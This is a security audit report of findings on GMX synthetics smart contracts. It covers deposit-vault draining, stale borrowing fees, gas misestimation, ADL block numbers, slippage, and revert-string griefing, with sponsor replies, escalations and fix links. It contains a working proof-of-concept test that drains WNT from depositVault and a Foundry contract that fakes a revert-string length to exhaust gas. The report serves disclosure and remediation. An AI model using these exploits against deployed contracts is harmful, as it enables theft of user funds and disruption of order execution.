Issue H-1: WNT in depositVault can be drained by abusing initialLongToken/initialShortToken of CreateDepositParams
Source: sherlock-audit#205
bin2chen, hack3r-0m, n33k
The attacker can abuse the initialLongToken/initialShortToken of CreateDepositParams to drain all the WNT from depositVault.
function createDeposit(
DataStore dataStore,
EventEmitter eventEmitter,
DepositVault depositVault,
address account,
CreateDepositParams memory params
) external returns (bytes32) {
Market.Props memory market = MarketUtils.getEnabledMarket(dataStore, params.market);
uint256 initialLongTokenAmount = depositVault.recordTransferIn(params.initialLongToken);
uint256 initialShortTokenAmount = depositVault.recordTransferIn(params.initialShortToken);
address wnt = TokenUtils.wnt(dataStore);
if (market.longToken == wnt) {
initialLongTokenAmount -= params.executionFee;
} else if (market.shortToken == wnt) {
initialShortTokenAmount -= params.executionFee;The initialLongToken and initialShortToken of CreateDepositParams can be set to any token address and there is no check for the initialLongToken and initialShortToken during createDeposit. The attacker can set initialLongToken/initialShortToken to a token(USDC e.g.) with less value per unit than WNT and for a market with market.longToken == wnt or market.shortToken == wnt, params.executionFee will be wrongly subtracted from initialLongTokenAmount or initialLongTokenAmount. This allows the attacker to have a controllable large params.executionFee by sending tokens with less value. By calling cancelDeposit, params.executionFee amount of WNT will be repaid to the attacker.
Here is a PoC test case that drains WNT from depositVault:
diff --git a/gmx-synthetics/test/router/ExchangeRouter.ts b/gmx-synthetics/test/router/ExchangeRouter.ts
index 7eca238..c40a71c 100644
--- a/gmx-synthetics/test/router/ExchangeRouter.ts
+++ b/gmx-synthetics/test/router/ExchangeRouter.ts
@@ -103,6 +103,82 @@ describe("ExchangeRouter", () => {
});
});
+ it("createDepositPoC", async () => {
+ // simulate normal user deposit
+ await usdc.mint(user0.address, expandDecimals(50 * 1000, 6));
+ await usdc.connect(user0).approve(router.address, expandDecimals(50 * 1000, 6));
+ const tx = await exchangeRouter.connect(user0).multicall(
+ [
+ exchangeRouter.interface.encodeFunctionData("sendWnt", [depositVault.address, expandDecimals(11, 18)]),
+ exchangeRouter.interface.encodeFunctionData("sendTokens", [
+ usdc.address,
+ depositVault.address,
+ expandDecimals(50 * 1000, 6),
+ ]),
+ exchangeRouter.interface.encodeFunctionData("createDeposit", [
+ {
+ receiver: user0.address,
+ callbackContract: user2.address,
+ market: ethUsdMarket.marketToken,
+ initialLongToken: ethUsdMarket.longToken,
+ initialShortToken: ethUsdMarket.shortToken,
+ longTokenSwapPath: [ethUsdMarket.marketToken, ethUsdSpotOnlyMarket.marketToken],
+ shortTokenSwapPath: [ethUsdSpotOnlyMarket.marketToken, ethUsdMarket.marketToken],
+ minMarketTokens: 100,
+ shouldUnwrapNativeToken: true,
+ executionFee,
+ callbackGasLimit: "200000",
+ },
+ ]),
+ ],
+ { value: expandDecimals(11, 18) }
+ );
+
+ // depositVault has WNT balance now
+ let vaultWNTBalance = await wnt.balanceOf(depositVault.address);
+ expect(vaultWNTBalance.eq(expandDecimals(11, 18)));
+
+ // user1 steal WNT from depositVault
+ await usdc.mint(user1.address, vaultWNTBalance.add(1));
+ await usdc.connect(user1).approve(router.address, vaultWNTBalance.add(1));
+
+ // Step 1. create deposit with malicious initialLongToken
+ await exchangeRouter.connect(user1).multicall(
+ [
+ exchangeRouter.interface.encodeFunctionData("sendTokens", [
+ usdc.address,
+ depositVault.address,
+ vaultWNTBalance.add(1),
+ ]),
+ exchangeRouter.interface.encodeFunctionData("createDeposit", [
+ {
+ receiver: user1.address,
+ callbackContract: user2.address,
+ market: ethUsdMarket.marketToken,
+ initialLongToken: usdc.address, // use usdc instead of WNT
+ initialShortToken: ethUsdMarket.shortToken,
+ longTokenSwapPath: [],
+ shortTokenSwapPath: [],
+ minMarketTokens: 0,
+ shouldUnwrapNativeToken: true,
+ executionFee: vaultWNTBalance,
+ callbackGasLimit: "0",
+ },
+ ]),
+ ],
+ );
+
+ // Step 2. cancel deposit to drain WNT
+ const depositKeys = await getDepositKeys(dataStore, 0, 2);
+ // const deposit = await reader.getDeposit(dataStore.address, depositKeys[1]);
+ // console.log(deposit);
+ // console.log(depositKeys[1]);
+ await expect(exchangeRouter.connect(user1).cancelDeposit(depositKeys[1]));
+
+ // WNT is drained from depositVault
+ expect(await wnt.balanceOf(depositVault.address)).eq(0);
+ });
+
it("createOrder", async () => {
const referralCode = hashString("referralCode");
await usdc.mint(user0.address, expandDecimals(50 * 1000, 6));The malicious user can drain all WNT from depositVault.
Manual Review
diff --git a/gmx-synthetics/contracts/deposit/DepositUtils.sol b/gmx-synthetics/contracts/deposit/DepositUtils.sol
index fae1b46..2811a6d 100644
--- a/gmx-synthetics/contracts/deposit/DepositUtils.sol
+++ b/gmx-synthetics/contracts/deposit/DepositUtils.sol
@@ -74,9 +74,9 @@ library DepositUtils {
address wnt = TokenUtils.wnt(dataStore);
- if (market.longToken == wnt) {
+ if (params.initialLongToken == wnt) {
initialLongTokenAmount -= params.executionFee;
- } else if (market.shortToken == wnt) {
+ } else if (params.initialShortToken == wnt) {
initialShortTokenAmount -= params.executionFee;
} else {
uint256 wntAmount = depositVault.recordTransferIn(wnt);xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/commit/4a5981a1f006468cd78dd974110d0a8be23b5fc9
Source: sherlock-audit#197
0xAmanda
Due to an incorrect function call while getting the total borrow fees, the returned fees will be an inaccurate and stale amount. Which will have an impact on liquidity providers
As said the function getTotalBorrowingFees:
function getTotalBorrowingFees(DataStore dataStore, address market, address longToken, address shortToken, bool isLong) internal view returns (uint256) {
uint256 openInterest = getOpenInterest(dataStore, market, longToken, shortToken, isLong);
uint256 cumulativeBorrowingFactor = getCumulativeBorrowingFactor(dataStore, market, isLong);
uint256 totalBorrowing = getTotalBorrowing(dataStore, market, isLong);
return openInterest * cumulativeBorrowingFactor - totalBorrowing;
}
calculates the fess by calling getCumulativeBorrowingFactor(...):
which is the wrong function to call because it returns a stale borrowing factor. To get the actual borrowing factor and calculate correctly the borrowing fees, GMX should call the getNextCumulativeBorrowingFactor function:
Which makes the right calculation, taking into account the stale fees also:
uint256 durationInSeconds = getSecondsSinceCumulativeBorrowingFactorUpdated(dataStore, market.marketToken, isLong);
uint256 borrowingFactorPerSecond = getBorrowingFactorPerSecond(
dataStore,
market,
prices,
isLong
);
uint256 cumulativeBorrowingFactor = getCumulativeBorrowingFactor(dataStore, market.marketToken, isLong);
uint256 delta = durationInSeconds * borrowingFactorPerSecond;
uint256 nextCumulativeBorrowingFactor = cumulativeBorrowingFactor + delta;
return (nextCumulativeBorrowingFactor, delta);
Ass fee calculation will not be accurate, liquidity providers will be have a less-worth token because pending fees are not accounted in the pool's value
Manual Review
In order to mitigate the issue, call the function getNextCumulativeBorrowingFactor instead of the function getCumulativeBorrowingFactor() for a correct accounting and not getting stale fees
IllIllI000
@xvi10 can you confirm that this is invalid?
xvi10
sorry thought i marked this, it is a valid issue
IllIllI000
@xvi10 can you elaborate on the conditions where this is a valid issue? Don’t most code paths call updateFundingAndBorrowingState() prior to fetching fees, so doesn’t that mean the value won’t be stale? I flagged the case where it’s missing in sherlock-audit#158 . Are you saying that this is a separate issue, or that these should be combined, or something else?
xvi10
it affects the valuation of the market tokens for deposits / withdrawals
IllIllI000
@hrishibhat agree with sponsor – valid High
0xffff11
Escalate for 10 USDC
It is a valid solo high. Sponsor confirmed the issue and severity.
Re-explanation for better understanding:
The function:
function getTotalBorrowingFees(DataStore dataStore, address market, address longToken, address shortToken, bool isLong)
internal view returns (uint256) {
uint256 openInterest = getOpenInterest(dataStore, market, longToken, shortToken, isLong);
uint256 cumulativeBorrowingFactor = getCumulativeBorrowingFactor(dataStore, market, isLong);
uint256 totalBorrowing = getTotalBorrowing(dataStore, market, isLong);
return openInterest * cumulativeBorrowingFactor - totalBorrowing;
}
is made to return the borrowingFees that are pending at that moment. The issue is that inside the getTotalBorrowingFees function, they are calling the wrong function to get the cumulativeBorrowingFactor.
They are calling the function cumulativeBorrowingFactor instead of getNextCumulativeBorrowingFactor. , that is the one that should be called to get the updated borrowing fees. Calling the cumulativeBorrowingFactor returns the outdated fees.
These outdate in fees can cause a missmatch in pricing specially while withdrawing, as sponsor confirmed.
To sum up: Issue is completely valid, sponsor confirmed and enough issue has been given. Please make it a valid solo high, thanks IIIIIII!
sherlock-admin
Escalate for 10 USDC
It is a valid solo high. Sponsor confirmed the issue and severity.
Re-explanation for better understanding:
The function:
function getTotalBorrowingFees(DataStore dataStore, address market, address longToken, address shortToken, bool isLong) internal view returns (uint256) { uint256 openInterest = getOpenInterest(dataStore, market, longToken, shortToken, isLong); uint256 cumulativeBorrowingFactor = getCumulativeBorrowingFactor(dataStore, market, isLong); uint256 totalBorrowing = getTotalBorrowing(dataStore, market, isLong); return openInterest * cumulativeBorrowingFactor - totalBorrowing; }is made to return the borrowingFees that are pending at that moment. The issue is that inside the
getTotalBorrowingFeesfunction, they are calling the wrong function to get thecumulativeBorrowingFactor.They are calling the function
cumulativeBorrowingFactorinstead ofgetNextCumulativeBorrowingFactor., that is the one that should be called to get the updated borrowing fees. Calling thecumulativeBorrowingFactorreturns the outdated fees.These
outdatein fees can cause a missmatch in pricing specially while withdrawing, as sponsor confirmed.To sum up: Issue is completely valid, sponsor confirmed and enough issue has been given. Please make it a valid solo high, thanks IIIIIII!
You've created a valid escalation for 10 USDC!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
IllIllI000
I messed up the tagging - Valid solo High
hrishibhat
Escalation accepted
Considering this issue a valid high
sherlock-admin
Escalation accepted
Considering this issue a valid high
This issue's escalations have been accepted!
Contestants' payouts and scores will be updated according to the changes made on this issue.
xvi10
Issue H-3: Underestimated gas estimation for executing withdrawals leads to insufficient keeper compensation
Source: sherlock-audit#195
0xAmanda, berndartmueller, bin2chen, rvierdiiev
The GasUtils.estimateExecuteWithdrawalGasLimit function underestimates the gas estimation for withdrawal execution, as it does not take into account token swaps, unlike the gas estimation in the GasUtils.estimateExecuteDepositGasLimit function (used to estimate executing deposits).
When creating a withdrawal request, the WithdrawalUtils.createWithdrawal function estimates the gas required to execute the withdrawal and validates that the paid execution fee (params.executionFee) is sufficient to cover the estimated gas and to compensate the keeper executing the withdrawal fairly.
However, the GasUtils.estimateExecuteWithdrawalGasLimit function used to estimate the gas for executing withdrawals does not account for token swaps that can occur at the end of the withdrawal logic and therefore underestimates the gas estimation.
Token swaps are performed in the WithdrawalUtils._executeWithdrawal function in lines 354 and 365.
The keeper executing withdrawals receives fewer execution fees and is not fully compensated for the gas spent. Moreover, users can pay fewer execution fees than expected and required.
contracts/gas/GasUtils.sol#L150
The gas estimate calculated in the GasUtils.estimateExecuteWithdrawalGasLimit function only uses a static gas limit plus the callback gas limit. Token swaps are not accounted for.
149: function estimateExecuteWithdrawalGasLimit(DataStore dataStore, Withdrawal.Props memory withdrawal) internal view returns (uint256) {
150: return dataStore.getUint(Keys.withdrawalGasLimitKey(false)) + withdrawal.callbackGasLimit();
151: }contracts/withdrawal/WithdrawalUtils.createWithdrawal() - L163
As observed in the createWithdrawal function, the GasUtils.estimateExecuteWithdrawalGasLimit function estimates the gas required to execute the withdrawal and validates the paid execution fee accordingly.
110: function createWithdrawal(
111: DataStore dataStore,
112: EventEmitter eventEmitter,
113: WithdrawalVault withdrawalVault,
114: address account,
115: CreateWithdrawalParams memory params
116: ) external returns (bytes32) {
... // [...]
160:
161: CallbackUtils.validateCallbackGasLimit(dataStore, withdrawal.callbackGasLimit());
162:
163: uint256 estimatedGasLimit = GasUtils.estimateExecuteWithdrawalGasLimit(dataStore, withdrawal);
164: GasUtils.validateExecutionFee(dataStore, estimatedGasLimit, params.executionFee);
165:
166: bytes32 key = NonceUtils.getNextKey(dataStore);
167:
168: WithdrawalStoreUtils.set(dataStore, key, withdrawal);
169:
170: WithdrawalEventUtils.emitWithdrawalCreated(eventEmitter, key, withdrawal);
171:
172: return key;
173: }contracts/withdrawal/WithdrawalUtils.executeWithdrawal() - L206-L213
The execution fee is paid to the keeper at the end of the executeWithdrawal function.
180: function executeWithdrawal(ExecuteWithdrawalParams memory params) external {
181: Withdrawal.Props memory withdrawal = WithdrawalStoreUtils.get(params.dataStore, params.key);
... // [...]
205:
206: GasUtils.payExecutionFee(
207: params.dataStore,
208: params.withdrawalVault,
209: withdrawal.executionFee(),
210: params.startingGas,
211: params.keeper,
212: withdrawal.account()
213: );
214: }Manual Review
Consider incorporating the token swaps in the gas estimation for withdrawal execution, similar to how it is done in the GasUtils.estimateExecuteDepositGasLimit function.
xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/commit/5cd83aaf9104aa6d826bc6676ac494e79db8cbd4
Source: sherlock-audit#150
GalloDaSballo, IllIllI, ShadowForce
Tracking of the latest ADL block use the wrong block number on Arbitrum
The call to setLatestAdlBlock() passes in block.timestamp, which on Arbitrum, is the L1 block timestamp, not the L2 timestamp on which order timestamps are based.
Tracking of whether ADL is currently required or not will be based on block numbers that are very far in the past (since Arbitrum block numbers are incremented much more quickly than Ethereum ones), so checks of whether ADL is enabled will pass, and the ADL keeper will be able to execute ADL orders whenever it wants to.
Uses block.number rather than Chain.currentBlockNumber():
// File: gmx-synthetics/contracts/adl/AdlUtils.sol : AdlUtils.updateAdlState() #1
104 MarketUtils.MarketPrices memory prices = MarketUtils.getMarketPrices(oracle, _market);
105 (bool shouldEnableAdl, int256 pnlToPoolFactor, uint256 maxPnlFactor) = MarketUtils.isPnlFactorExceeded(
106 dataStore,
107 _market,
108 prices,
109 isLong,
110 Keys.MAX_PNL_FACTOR
111 );
112
113 setIsAdlEnabled(dataStore, market, isLong, shouldEnableAdl);
114 @> setLatestAdlBlock(dataStore, market, isLong, block.number);
115
116 emitAdlStateUpdated(eventEmitter, market, isLong, pnlToPoolFactor, maxPnlFactor, shouldEnableAdl);
117: }The block number (which is an L1 block number) is checked against the L2 oracle block numbers.
Manual Review
Use Chain.currentBlockNumber() as is done everywhere else in the code base
Jiaren-tang
Escalate for 11 USDC. I think this should definitely be high. ADL should not be allowed to execute at any time, and if it does, it clearly the loss of fund. Because sherlock-audit#143 is rewarded as high I think using wrong block.number allowing ADL operations to be executed when they are not supposed to be executed leads to loss of fund and deserves a high severity.
sherlock-admin
Escalate for 11 USDC. I think this should definitely be high. ADL should not be allowed to execute at any time, and if it does, it clearly the loss of fund. Because sherlock-audit#143 is rewarded as high I think using wrong block.number allowing ADL operations to be executed when they are not supposed to be executed leads to loss of fund and deserves a high severity.
You've created an escalation for 11 USDC, however, the escalation amount is fixed at 10 USDC. To update the escalation with the correct amount, please edit this comment. (do not create a new comment)
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
IllIllI000
I'm not sure about this one. I submitted as Medium because it's essentially a cap on profit, but as the escalator points out, slippage does create a loss. I'll leave this one to the Sherlock team to decide
hrishibhat
Escalation accepted
Considering this issue a high based on the slippage reasoning.
sherlock-admin
Escalation accepted
Considering this issue a high based on the slippage reasoning.
This issue's escalations have been accepted!
Contestants' payouts and scores will be updated according to the changes made on this issue.
sherlock-admin
Escalation accepted
Considering this issue a high based on the slippage reasoning.
This issue's escalations have been accepted!
Contestants' payouts and scores will be updated according to the changes made on this issue.
xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/commit/2129b82693b31ec698a100c6b38a7fadf6ec711b
Source: sherlock-audit#143
Breeje, IllIllI
ADL operations do not have any slippage protection
ADL orders, generated by the ADL keeper, are forced to allow unlimited slippage, which means the user may get a lot less than they deserve.
There may be a large price impact associated with the ADL order, causing the user's large gain to become a loss, if the price impact factor is large enough, which may be the case if the price suddenly spikes up a lot, and there are many ADL operations after a lot of users exit their positions.
Any price is allowed, and the minimum output amount is set to zero:
// File: gmx-synthetics/contracts/adl/AdlUtils.sol : AdlUtils.createAdlOrder() #1
141
142 Order.Numbers memory numbers = Order.Numbers(
143 Order.OrderType.MarketDecrease, // orderType
144 Order.DecreasePositionSwapType.NoSwap, // decreasePositionSwapType
145 params.sizeDeltaUsd, // sizeDeltaUsd
146 0, // initialCollateralDeltaAmount
147 0, // triggerPrice
148 @> position.isLong() ? 0 : type(uint256).max, // acceptablePrice
149 0, // executionFee
150 0, // callbackGasLimit
151 @> 0, // minOutputAmount
152 params.updatedAtBlock // updatedAtBlock
153: );The only checks after the ADL order completes are related to global metrics, not position-specific ones.
Manual Review
Introduce a MAX_POSITION_IMPACT_FACTOR_FOR_ADL, similar to MAX_POSITION_IMPACT_FACTOR_FOR_LIQUIDATIONS
xvi10
The maximum price impact is capped by the MAX_POSITION_IMPACT_FACTOR value
Source: sherlock-audit#141
0xAmanda, IllIllI, KingNFT
Most actions done on behalf of users have a callback triggered on an address provided by the position's account holder. In order to ensure that these callbacks don't affect order execution, they're wrapped in a try-catch block, and the actual external call has a limited amount of gas provided to it. If the callback fails, the revert message is fetched and emitted, before processing continues. Keepers are given a limited gas budget based on estimated amounts of gas expected to be used, including a maximum amount allotted for callbacks via the callbackGasLimit().
A malicious user can use the full callbackGasLimit() to create an extremely long revert string. This would use three times the expected amount of gas, since the callback will spend that amount, the fetching of the message during the revert will fetch that much, and the emitting of the same string will fetch that much.
Keepers can be forced to spend more gas than they expect to for all operations. If they don't have a reliable way of calculating how much gas is used, they'll have spent more gas than they get in return.
If all keepers are expected to be able to calculate gas fees, then an attacker can submit an order whose happy path execution doesn't revert, but whose failure path reverts with a long string, which would essentially prevent the order from being executed until a more favorable price is reached. The user could, for example, submit an order with a long revert string in the frozen order callback, which would prevent the order from being frozen, and would allow them to game the price impact
A single revert message uses gas x3:
// File: gmx-synthetics/contracts/callback/CallbackUtils.sol : CallbackUtils.afterOrderCancellation() #1
127 function afterOrderCancellation(bytes32 key, Order.Props memory order) internal {
128 if (!isValidCallbackContract(order.callbackContract())) { return; }
129
130 @> try IOrderCallbackReceiver(order.callbackContract()).afterOrderCancellation{ gas: order.callbackGasLimit() }(key, order) {
131 } catch (bytes memory reasonBytes) {
132 @> (string memory reason, /* bool hasRevertMessage */) = ErrorUtils.getRevertMessage(reasonBytes);
133 @> emit AfterOrderCancellationError(key, order, reason, reasonBytes);
134 }
135: }Manual Review
Count the gas three times during gas estimation
xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/commit/b0bac262191f4f96edc9606192d2e4abfa043dc3
Source: sherlock-audit#140
IllIllI
Limit orders fail to execute when the price becomes worse for the order in the block after the order is submitted.
Limit orders require that all oracle-provided prices come from blocks after the order has been submitted. In addition, limit orders's primary and secondary prices are required to straddle the trigger price.
If the primary/secondary prices go well past the trigger price (e.g. due to a price gap), then the order execution will revert, leaving the user exposed to their position, even if they had a valid stoploss set.
Limit orders require prices to straddle the trigger price, and revert if they don't:
// File: gmx-synthetics/contracts/order/BaseOrderUtils.sol : BaseOrderUtils.setExactOrderPrice() #1
238 if (orderType == Order.OrderType.LimitIncrease ||
239 orderType == Order.OrderType.LimitDecrease ||
240 orderType == Order.OrderType.StopLossDecrease
241 ) {
242 uint256 primaryPrice = oracle.getPrimaryPrice(indexToken).pickPrice(shouldUseMaxPrice);
243 uint256 secondaryPrice = oracle.getSecondaryPrice(indexToken).pickPrice(shouldUseMaxPrice);
244
...
258 if (shouldValidateAscendingPrice) {
259 // check that the earlier price (primaryPrice) is smaller than the triggerPrice
260 // and that the later price (secondaryPrice) is larger than the triggerPrice
261 @> bool ok = primaryPrice <= triggerPrice && triggerPrice <= secondaryPrice;
262 if (!ok) {
263 revert InvalidOrderPrices(primaryPrice, secondaryPrice, triggerPrice, shouldValidateAscendingPrice);
264 }
...
270 } else {
271 // check that the earlier price (primaryPrice) is larger than the triggerPrice
272 // and that the later price (secondaryPrice) is smaller than the triggerPrice
273 @> bool ok = primaryPrice >= triggerPrice && triggerPrice >= secondaryPrice;
274 if (!ok) {
275 revert InvalidOrderPrices(primaryPrice, secondaryPrice, triggerPrice, shouldValidateAscendingPrice);
276 }
...
282: }Manual Review
Don't revert if both the primary and secondary prices are worse than the trigger price. Use the trigger price as the execution price.
xvi10
Source: sherlock-audit#139
0xdeadbeef, IllIllI
Malicious revert reasons with faked lengths can be used in the various order callbacks to disrupt order execution
For most order-related operations, the user is allowed to provide the address of a contract on which a callback is triggered, whenever anything related to an order changes. These callbacks are executed with a limited amount of gas, under a try-catch block, in order to ensure that the user-supplied callback cannot affect subsequent processing. Whenever the callback reverts, the revert reason is fetched so that it can be emitted.
The code that parses the return bytes uses abi.decode(result, (string)) to parse the "string", which relies on the first word of the data, to figure out how many bytes long the string is. Because the results variable is a memory variable, rather than calldata, any read past the end of the bytes is allowed, and is considered as value zero byte slots. If a malicious callback provides a reason "string" that is only a few bytes long, but sets the length to a very large number, when the decode call is made, it will try to read a string of that provided length, and will eventually run out of gas.
Note that this is not the same as providing an actual long string, because in that case, the callback will revert with an out of gas error, and there won't be a string to parse.
A malicious user can use this attack in many different places, but they all stem from the bug in ErrorUtils.getRevertMessage(). One such attack would be that a user can prevent themselves from being liquidated or ADLed, by providing a malicious string in the revert reason in their CallbackUtils.afterOrderExecution() callback.
Othere places include the freezing of orders, bypassing pauses by having resting orders that can never execute until allowed, and preventing orders from being canceled when their normal execution reverts.
The input result is a memory variable, and it uses abi.decode() without checking the string's length against the calldata length, or any sort of maximum:
// File: gmx-synthetics/contracts/utils/ErrorUtils.sol : ErrorUtils.getRevertMessage() #1
6 // To get the revert reason, referenced from https://ethereum.stackexchange.com/a/83577
7 @> function getRevertMessage(bytes memory result) internal pure returns (string memory, bool) {
8 // If the result length is less than 68, then the transaction either panicked or failed silently
9 if (result.length < 68) {
10 return ("", false);
11 }
12
13 bytes4 errorSelector = getErrorSelectorFromData(result);
14
15 // 0x08c379a0 is the selector for Error(string)
16 // referenced from https://blog.soliditylang.org/2021/04/21/custom-errors/
17 if (errorSelector == bytes4(0x08c379a0)) {
18 assembly {
19 result := add(result, 0x04)
20 }
21
22 @> return (abi.decode(result, (string)), true);
23 }
24
25 // error may be a custom error, return an empty string for this case
26 return ("", false);
27: }The following test shows how this can be used to cause a revert, even when the gas to the callback is limited. I show two cases - one where there is no external wrapping of the calldata, and one where there is. Most of the examples of getRevertMessage() are the unwrapped variety, but some like the ones for executeDeposit() and executeWithdrawal() are wrapped, and would require the attack to also be applied to the cancellation callback, since those are unwrapped:
pragma solidity 0.8.17;
import "forge-std/Test.sol";
contract BigString is Test {
function test_unwrapped() external view returns (uint256) {
try this.strFakedString{gas:10240}() {
//try this.strFakedString() {
//try this.strBigString{gas:10240}() {
//try this.strNoIssue() {
} catch (bytes memory reasonBytes) {
(string memory reason, /* bool hasRevertMessage */) = getRevertMessage(reasonBytes);
return 1;
}
return 0;
}
function test_wrapped() external view returns (uint256) {
try this.test_unwrapped() {
} catch (bytes memory reasonBytes) {
(string memory reason, /* bool hasRevertMessage */) = getRevertMessage(reasonBytes);
return 1;
}
return 0;
}
function strNoIssue() external pure returns (string memory) {
assembly {
mstore(0, 0x20)
mstore(0x27, 0x07536561706f7274)
revert(0, 0x60)
}
}
function strBigString() external pure returns (string memory) {
bytes memory str = new bytes(100000000000);
revert(string(str));
}
function strFakedString() external pure returns (string memory) {
assembly {
let free_mem_ptr := mload(64)
mstore(free_mem_ptr, 0x08c379a000000000000000000000000000000000000000000000000000000000)
mstore(add(free_mem_ptr, 4), 32)
//mstore(add(free_mem_ptr, 36), 12) // original
mstore(add(free_mem_ptr, 36), 100000000000) // out of gas
mstore(add(free_mem_ptr, 68), "Unauthorizedzzzzzz")
revert(free_mem_ptr, 100)
}
}
function getErrorSelectorFromData(bytes memory data) internal pure returns (bytes4) {
bytes4 errorSelector;
assembly {
errorSelector := mload(add(data, 0x20))
}
return errorSelector;
}
// To get the revert reason, referenced from https://ethereum.stackexchange.com/a/83577
function getRevertMessage(bytes memory result) internal pure returns (string memory, bool) {
// If the result length is less than 68, then the transaction either panicked or failed silently
if (result.length < 68) {
return ("", false);
}
bytes4 errorSelector = getErrorSelectorFromData(result);
// 0x08c379a0 is the selector for Error(string)
// referenced from https://blog.soliditylang.org/2021/04/21/custom-errors/
if (errorSelector == bytes4(0x08c379a0)) {
assembly {
result := add(result, 0x04)
}
return (abi.decode(result, (string)), true);
}
// error may be a custom error, return an empty string for this case
return ("", false);
}
}Output:
$ forge test -vvvv
[⠰] Compiling...
No files changed, compilation skipped
Running 2 tests for src/T.sol:BigString
[FAIL. Reason: EvmError: OutOfGas] test_unwrapped():(uint256) (gas: 9223372036854754743)
Traces:
[2220884625] BigString::test_unwrapped()
├─ [257] BigString::strFakedString() [staticcall]
│ └─ ← 0x08c379a00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000174876e800556e617574686f72697a65647a7a7a7a7a7a0000000000000000000000000000
└─ ← "EvmError: OutOfGas"
[PASS] test_wrapped():(uint256) (gas: 9079256848778899476)
Traces:
[9079256848778899476] BigString::test_wrapped()
├─ [2220884625] BigString::test_unwrapped() [staticcall]
│ ├─ [257] BigString::strFakedString() [staticcall]
│ │ └─ ← 0x08c379a00000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000174876e800556e617574686f72697a65647a7a7a7a7a7a0000000000000000000000000000
│ └─ ← "EvmError: OutOfGas"
└─ ← 1
Test result: FAILED. 1 passed; 1 failed; finished in 628.44ms
Failing tests:
Encountered 1 failing test in src/T.sol:BigString
[FAIL. Reason: EvmError: OutOfGas] test_unwrapped():(uint256) (gas: 9223372036854754743)
Encountered a total of 1 failing tests, 1 tests succeededManual Review
Have an upper limit on the length of a string that can be passed back, and manually update the length if the string's stated length is greater than the max.
xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/commit/b0bac262191f4f96edc9606192d2e4abfa043dc3
Source: sherlock-audit#138
IllIllI, berndartmueller, rvierdiiev, simon135
The user-supplied minOutputAmount order parameter for controlling slippage is ignored when a user decreases their position
There are no checks that the amount out matches the user-supplied value during order creation, and in fact infinite slippage is allowed during the swap of PNL and collateral, ensuring there are opportunities for sandwiching.
User's orders will have swap impacts applied to them during swaps, resulting in the user getting less than they asked for.
Infinite slippage is allowed during the swap from collateral tokens to the PNL token:
// File: gmx-synthetics/contracts/position/DecreasePositionCollateralUtils.sol : DecreasePositionCollateralUtils.swapProfitToCollateralToken() #1
425 try params.contracts.swapHandler.swap(
426 SwapUtils.SwapParams(
427 params.contracts.dataStore,
428 params.contracts.eventEmitter,
429 params.contracts.oracle,
430 Bank(payable(params.market.marketToken)),
431 pnlToken, // tokenIn
432 profitAmount, // amountIn
433 swapPathMarkets, // markets
434 @> 0, // minOutputAmount
435 params.market.marketToken, // receiver
436 false // shouldUnwrapNativeToken
437 )
438: ) returns (address /* tokenOut */, uint256 swapOutputAmount) {and during the swap of collateral tokens to PNL tokens:
// File: gmx-synthetics/contracts/position/DecreasePositionCollateralUtils.sol : DecreasePositionCollateralUtils.swapWithdrawnCollateralToPnlToken() #2
383 try params.contracts.swapHandler.swap(
384 SwapUtils.SwapParams(
385 params.contracts.dataStore,
386 params.contracts.eventEmitter,
387 params.contracts.oracle,
388 Bank(payable(params.market.marketToken)),
389 params.position.collateralToken(), // tokenIn
390 values.output.outputAmount, // amountIn
391 swapPathMarkets, // markets
392 @> 0, // minOutputAmount
393 params.market.marketToken, // receiver
394 false // shouldUnwrapNativeToken
395 )
396: ) returns (address tokenOut, uint256 swapOutputAmount) {And there are no checks in the calling layers that ensure that the final amount matches the minOutputAmount provided during order creation.
Manual Review
require() that the final output amount is equal to the requested amount, after the position is decreased but before funds are transferred.
xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/pull/108
Issue H-10: Collateral cannot be claimed because there is no mechanism for the config keeper to change the claimable factor
Source: sherlock-audit#137
IllIllI, berndartmueller
Collateral given back to a user due to capped price impacts cannot be claimed because there is no mechanism for the config keeper to set the claimable factor
The code that claims the collateral for the user only gives back a percentage of the collateral based on a "factor", but there is no function to change the factor from the default of zero.
The user will never be able to claim any of this collateral back, which is a principal loss.
Needing to let users claim their collateral is mainly for when large liquidations cause there to be large impact amounts. While this is not an everyday occurrence, large price gaps and liquidations are a relatively common occurrence in crypto, happening every couple of months, so needing this functionality will be required in the near future. Fixing the issue would require winding down all open positions and requiring LPs to withdraw their collateral, and re-deploying with new code.
// File: gmx-synthetics/contracts/market/MarketUtils.sol : MarketUtils.claimCollateral() #1
627 uint256 claimableAmount = dataStore.getUint(Keys.claimableCollateralAmountKey(market, token, timeKey, account));
628 @> uint256 claimableFactor = dataStore.getUint(Keys.claimableCollateralFactorKey(market, token, timeKey, account));
629 uint256 claimedAmount = dataStore.getUint(Keys.claimedCollateralAmountKey(market, token, timeKey, account));
630
631 @> uint256 adjustedClaimableAmount = Precision.applyFactor(claimableAmount, claimableFactor);
632 @> if (adjustedClaimableAmount >= claimedAmount) {
633 revert CollateralAlreadyClaimed(adjustedClaimableAmount, claimedAmount);
634: }Manual Review
diff --git a/gmx-synthetics/contracts/config/Config.sol b/gmx-synthetics/contracts/config/Config.sol
index 9bb382c..7696eb6 100644
--- a/gmx-synthetics/contracts/config/Config.sol
+++ b/gmx-synthetics/contracts/config/Config.sol
@@ -232,6 +232,8 @@ contract Config is ReentrancyGuard, RoleModule, BasicMulticall {
allowedBaseKeys[Keys.MIN_COLLATERAL_FACTOR_FOR_OPEN_INTEREST_MULTIPLIER] = true;
allowedBaseKeys[Keys.MIN_COLLATERAL_USD] = true;
+ allowedBaseKeys[Keys.CLAIMABLE_COLLATERAL_FACTOR] = true;
+
allowedBaseKeys[Keys.VIRTUAL_TOKEN_ID] = true;
allowedBaseKeys[Keys.VIRTUAL_MARKET_ID] = true;
allowedBaseKeys[Keys.VIRTUAL_INVENTORY_FOR_SWAPS] = true;xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/pull/112
Source: sherlock-audit#136
